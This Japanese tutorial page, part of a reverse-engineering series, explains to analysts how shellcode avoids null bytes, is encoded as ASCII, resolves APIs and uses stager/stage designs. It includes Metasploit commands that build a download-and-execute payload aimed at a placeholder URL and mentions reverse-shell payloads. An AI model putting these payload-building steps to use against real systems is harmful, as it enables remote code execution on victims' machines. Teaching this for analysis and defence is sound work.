コツ？開発者の立場になって考えることさ！：リバースエンジニアリング入門（2）（2/2 ページ）

» 2011年07月19日 00時00分公開

[岩村誠，日本電信電話株式会社]

シェルコード内で使えないバイト値

　攻撃の過程で脆弱な個所にたどり着くために、思わぬ制約がシェルコードに課せられる場合があります。ここではその例として、strcpyによるスタックバッファオーバーフローを見ていきましょう。オーバーフローさせる書き込み先バッファ内にシェルコードを配置しつつ、リターンアドレスを上書きすることで、配置したシェルコードに制御を移す攻撃を考えてみます（図4）。

図4　strcpyによるスタックバッファオーバーフロー

　ここで注意が必要なのは、strcpyにおいて0x00が文字列の終端記号として解釈されることです。つまりシェルコードをバイト列として見たときに0x00がその中に入っていると、strcpyによる文字列コピーが0x00の個所で止まってしまいます。その結果、0x00の後ろに控えているシェルコードやポインタを書き込むことができなくなってしまいます（図5）。

図5　0x00によるコピーの中断

　こうした使えないバイト値を避けるには、バイト列としてのシェルコードを意識する必要があります。例として、eaxレジスタに0を代入する方法を考えてみましょう。単純に考えると

mov eax,0

というアセンブリになると思います。しかしながら、このアセンブリのバイト列表現は0xB8、0x00、0x00、0x00、0x00となり、0x00が機械語命令内に出てきてしまいます。

　そこで、同じ値の排他的論理和は0になることに着目すると、次のようなアセンブリでもeaxレジスタを0にすることができます。

xor eax, eax

　このバイト列表現は0x33、0xC0となり、0x00を取り除くことができました。シェルコード全体に対してこうした工夫を行うことで、使えないバイト値を避けつつシェルコードを作成することができます。また、こうしたバイト値をシェルコード内から取り除くために、前述のXORエンコーダが利用されることもあります。

　他にも興味深い例として、対象脆弱性にたどり着くまでにASCII文字列以外は通さないというチェックルーチンが存在する場合があります。つまり攻撃者は、シェルコードをASCII文字列で表現しなくてはなりません。

　ここまでくると、もはや曲芸のように思えますが、これでも何とかなるのがシェルコード開発の面白いところです。先ほど紹介したエンコーダの中には、元のシェルコードをASCII文字列に変形するモジュールが用意されています。

use payload/windows/download_exec
set URL http://hoge.com
generate -t raw -e x86/alpha_mixed

　x86/alpha_mixedは対象となるシェルコードを英数字のみで表現するモジュールです。この出力結果は以下のようになります。

　この英数字の羅列を機械語として実行すると、payload/windows/download_execとまったく同じ振る舞いをします。

　こうした制約条件を満たすコードは、一見回りくどい処理をしているように感じることがあります。ただ、その回りくどさの背後にシェルコード内で使えないバイト値があると知っていれば、解析時のストレスも少しは和らぐのではないでしょうか。

APIアドレスの解決

　一般的な実行ファイルは、ローダと呼ばれるOSの機能により起動されます。

　ローダは実行ファイルで使われる（静的リンクされている）Win32 APIを調べ、関連するDLLをロードし、Win32 APIのアドレスが決まったところで、実行ファイル内のIAT（Import Address Table）と呼ばれる領域にそのアドレス情報を書き込みます。実行ファイルはビルド時にIAT経由でWin32 APIを呼ぶように構成されますので、プログラム開発者としてはWin32 APIがどのアドレスに位置しているかを意識することなく、Win32 APIを呼び出すことができます。

　一方、起動済みのプロセス内で動作を開始するシェルコードには、Win32 APIのアドレスを解決してくれるローダ役がいません。このため、ローダの処理であるアドレス解決を自前で行う必要があります。

　Win32 APIも呼べない状態で、DLLをロードし、アドレス解決することは難しいように感じるかもしれませんが、いくつかの方法が知られています。詳細は今後の連載で紹介していくことにしましょう。

　少し話が脱線しますが、Windowsにおけるシステムコール番号は、バージョンによって大きく変わります。

　例えば、仮想メモリを確保するNtAllocateVirtualMemoryというシステムコールの番号は、XPの場合は0x0011でしたが、Windows Vistaでは0x0012になっています。このため、Windowsのバージョンに依存しないシェルコードは、たいていWin32 APIを利用しようとします。

　ただ、Linuxでは少し事情が異なります。筆者の記憶では、Linuxのシステムコール番号はこれまでに追加されることはあっても、すでに割り当てられた番号に別のシステムコールが割り当てられたことはなかったと記憶しています。

　このため、直接システムコールを呼び出したとしても、Linuxのバージョンによって挙動が変わってしまうことはありません。一般的にglibcなどのAPIのアドレスを解決するよりも、システムコールを直接呼び出す方が手間も少なく済むため、Linuxではシステムコールを直接呼び出すアプローチが利用される傾向にあります。

シェルコードサイズの制限

　攻撃対象とする脆弱性によっては、シェルコードのサイズが制限される場合があります。こうした制限は、コーディングの工夫で何とかなればいいのですが、それだけでは解決できない場合もあります。

　このときに使われる技術の1つに、Stager/Stageと呼ばれる構成があります（図6）。

図6　Stage/Stager構成

　最初にStagerと呼ばれるシェルコードが実行（図6-【1】）され、このStagerが本体となるシェルコード（Stage）を受信（図6-【2】）し、実行（図6-【3】）します。

　一般的にStagerは、単一のシェルコードよりもコンパクトに作られています。例えば、Metasploitに含まれるpayload/linux/x86/shell_reverse_tcpは単一のシェルコードであり、そのサイズは71バイトです。

　一方、同じ機能を持つpayload/linux/x86/shell/reverse_tcp（shellとreverse_tcpの間が/になっていることに注意してください）はStager/Stage構成を取り、そのStagerのサイズは50バイトとなっています。この例では大した差ではないように見えますが、シェルコードの機能が豊富になればなるほど、その効果は大きくなります。

　ネットワーク経由で受け取ったデータに命令ポインタを移す、そんなシェルコードを見たときは、このStager/Stage構成のことを思い出してみましょう。